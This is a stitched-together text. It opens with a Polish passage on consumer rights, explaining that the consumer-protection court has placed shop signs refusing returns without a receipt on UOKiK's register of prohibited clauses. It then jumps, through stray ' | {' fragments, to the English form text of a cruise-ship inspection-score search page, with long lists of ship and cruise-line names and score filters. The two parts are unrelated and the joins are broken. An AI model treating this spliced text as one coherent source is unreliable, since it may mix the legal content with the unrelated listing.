Oczywiście nie zmieniało to faktu, że część sprzedawców kierowała się swoimi zasadami. Dla nich zwrot bez paragonu nie był zbyt wygodnym rozwiązaniem ze względu na komplikacje fiskalne. Albo zwyczajną nieprzyzwoitość. W każdym razie wszyscy chyba natknęliśmy się w swoim życiu na tabliczkę z napisem „Uwaga! Bez paragonu fiskalnego towar nie podlega zwrotowi”.
Zwrot towaru bez paragonu – nie można tego zabronić
Sąd Ochrony Konkurencji i Konsumentów uznał, że tego typu informacja powinna znaleźć się na liście niedozwolonych postanowień umownych w prowadzonym przez UOKiK rejestrze, ponieważ rażąco narusza interesy konsumentów nie tylko w przypadków zwrotów rękojmiowych, ale i w trakcie odstępowania od umów zawieranych na odległość. W osobnym postępowaniu sąd kwestionował też m.in. stwierdzenie „1. Podstawą przyjęcia reklamacji jest dowód zakupu towaru (paragon lub faktura VAT)”.
Skutkiem wpisu takich postanowień do rejestru klauzul niedozwolonych jest nasza wzmocniona pozycja w sporze z przedsiębiorcą, który stosuje podobne zastrzeżenia w swoich umowach i regulaminach. Podnosząc argument abuzywności tego typu uregulowań, w ocenie sądu znajdziemy się w zdecydowanie bardziej korzystnej pozycji, gdyż tego typu sformułowania z mocy prawa nie wiążą nas jako strony umowy. Jeżeli jakiś przedsiębiorca będzie stosował tego typu niedozwolone klauzule nagminnie, może go też czekać kara, np. finansowa, ze strony UOKiK-u. | {
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To select more than one cruise ship, hold down the *Ctrl* key and click on the cruise ship's name. Cruise Ships ** All Vessel Inspection Scores Adventure of the Seas Aida Nova AIDAaura AIDABella AIDAblu AIDAdiva AIDAluna AIDAmar AIDAperla AIDAprima AIDASol AIDAstella AIDAVITA Albatros Allure of the Seas Amadea Amera Amsterdam Anthem of the Seas Arcadia Artania Asuka II Aurora Azamara Journey Azamara Pursuit Azamara Quest Azura Balmoral Braemar Bremen Brilliance of the Seas Britannia Caledonian Sky Caribbean Princess Carnival Breeze Carnival Conquest Carnival Dream Carnival Ecstasy Carnival Elation Carnival Fantasy Carnival Fascination Carnival Freedom Carnival Glory Carnival Horizon Carnival Imagination Carnival Inspiration Carnival Legend Carnival Liberty Carnival Magic Carnival Miracle Carnival Panorama Carnival Paradise Carnival Pride Carnival Radiance Carnival Sensation Carnival Spirit Carnival Splendor Carnival Sunrise Carnival Sunshine Carnival Valor Carnival Vista Celebrity APEX Celebrity Apex Celebrity Apex Celebrity Constellation Celebrity Eclipse Celebrity Edge Celebrity Equinox Celebrity Infinity Celebrity Millennium Celebrity Reflection Celebrity Silhouette Celebrity Solstice Celebrity Summit Club Med 2 Coral Princess Costa Atlantica Costa Deliziosa Costa Diadema Costa Fascinosa Costa Favolosa Costa Fortuna Costa Luminosa Costa Mediterranea Costa Pacifica Costa Venezia Crown Princess Crystal Serenity Crystal Symphony Diamond Princess Disney Dream Disney Fantasy Disney Magic Disney Wonder Emerald Princess Empress of the Seas Enchantment of the Seas Eurodam Europa Europa 2 Evrima Explorer Dream Explorer of the Seas Flying Clipper Freedom of the Seas Golden Princess Grand Celebration Grand Princess Grande Caribe Grande Mariner Grandeur of the Seas Hanseatic Hanseatic Inspiration Hanseatic Nature Harmony of the Seas Hebridean Sky Independence of the Seas Island Princess Jewel of the Seas Koningsdam Kydon L'Austral Le Bellot Le Boreal Le Bougainville Le Champlain Le Dumont d?Urville Le Laperouse Le Soleal Liberty of the Seas Maasdam Majestic Princess Majesty of the Seas Mardi Gras Marella Discovery Marella Explorer Mariner of the Seas Mein Schiff 1 Mein Schiff 2 Mein Schiff 3 Mein Schiff 6 MS Fram MS Grand Classica MS Hamburg MSC Armonia MSC Bellissima MSC Divina MSC Fantasia MSC Grandiosa MSC Lirica MSC Magnifica MSC Meraviglia MSC Orchestra MSC Poesia MSC Preziosa MSC Seaside MSC Seaview MSC Splendida MV Clio National Geographic Endurance National Geographic Explorer National Geographic Orion National Geographic Quest National Geographic Sea Bird National Geographic Sea Lion National Geographic Venture Navigator of the Seas Nieuw Amsterdam Nieuw Statendam Nippon Maru Noordam Norwegian Bliss Norwegian Breakaway Norwegian Dawn Norwegian Encore Norwegian Epic Norwegian Escape Norwegian Gem Norwegian Getaway Norwegian Jade Norwegian Jewel Norwegian Joy Norwegian Pearl Norwegian Sky Norwegian Spirit Norwegian Star Norwegian Sun Oasis of the Seas Ocean Dream Oceana Oceania Insignia Oceania Marina Oceania Regatta Oceania Riviera Oceania Sirena Oosterdam Oriana Ovation of the Seas Pacific Princess Pearl Mist Quantum of the Seas Queen Elizabeth Queen Mary 2 Queen Victoria Radiance of the Seas Regal Princess Rhapsody of the Seas Roald Amundsen Rotterdam Royal Princess Ruby Princess Safari Endeavour Safari Quest Sapphire Princess Scarlet Lady Scenic Eclipse Sea Princess Seabourn Encore Seabourn Odyssey Seabourn Ovation Seabourn Quest Seabourn Sojourn Seadream I Seadream II Serenade of the Seas Seven Seas Explorer Seven Seas Mariner Seven Seas Navigator Seven Seas Splendor Seven Seas Voyager Silver Cloud Silver Explorer Silver Muse Silver Shadow Silver Spirit Silver Whisper Silver Wind Sky Princess Spectrum of the Seas Spirit of Discovery Stad Amsterdam Star Breeze Star Legend Star Pride Star Princess Sun Princess Symphony of the Seas The World The World Dream Veendam Ventura Victory I Victory II Viking Jupiter Viking Orion Viking Sea Viking Sky Viking Star Viking Sun Vision of the Seas Volendam Voyager of the Seas VSP Beta 3 Vspbeta Westerdam Wind Spirit Wind Star Wind Surf World Odyssey Zaandam Zuiderdam To select more than one cruise line, hold down the *Ctrl* key and click on the cruise line's name. Cruise Lines ** All Cruise line Inspection Scores Aida Cruises America Cruise Ferries Azamara Cruises Bahamas Paradise Cruise Line Balearia Caribbean Ltda Bernhard Schulte Cruise Services GmbH & Co. KG Bimini SuperFast Blount Small Ship Adventures Carnival Cruise Lines, Inc. Celebrity Cruises Club Med Marine CMI Ship Mgmt Compagnie Du Ponant SA Costa Crociere S.P.A. Crystal Cruises , Inc. Cunard Line Disney Cruise Lines Ferries Del Caribe FleetPro Ocean Inc Fred Olsen Cruise Line Genting Cruise Lines Ship Management Grand Circle Cruise Line Hamburg Cruise SA Hapag Lloyd Kreuzfahrten Gmbh Holland America Line Hurtigruten ASA Lever Diving Lindblad Expeditions Marella Cruises ? TUI UK Limited Maritime Holdings Group Mitsui O.S.K. Passenger Line, Ltd MSC Cruise Management (UK) Ltd Norwegian Cruise Lines NYK Cruises Co., LTD Oceania Cruises P&O Cruises Peter Deilmann Cruises Princess Cruises Rederij Clipper Stad Amsterdam Regent Seven Seas ResidenSea Ritz-Carlton Yacht Collection Royal Caribbean International Saga Group Limited Salen Ship Management AB Scenic Luxury Cruises Sea Dream Yacht Club Seabourn Cruise Line Silversea Cruises Ltd STAR CRUISES TUI Cruises GmbH Un-Cruise Adventures V Ships Leisure S.A.M. V. Ships Leisure U.S.A. Victory I Partners, Ltd., c/o Cruise Mgmt Intl Inc Viking Ocean Cruises Virgin Voyages Wind Star Sail Cruises Select an Inspection Date Criteria (AND) Most Recent Date
All Dates
From To (mm/dd/yyyy) Select a Score Criteria (AND) All
86 or higher (Satisfactory Scores)
85 or lower (NOT Satisfactory Scores) | {
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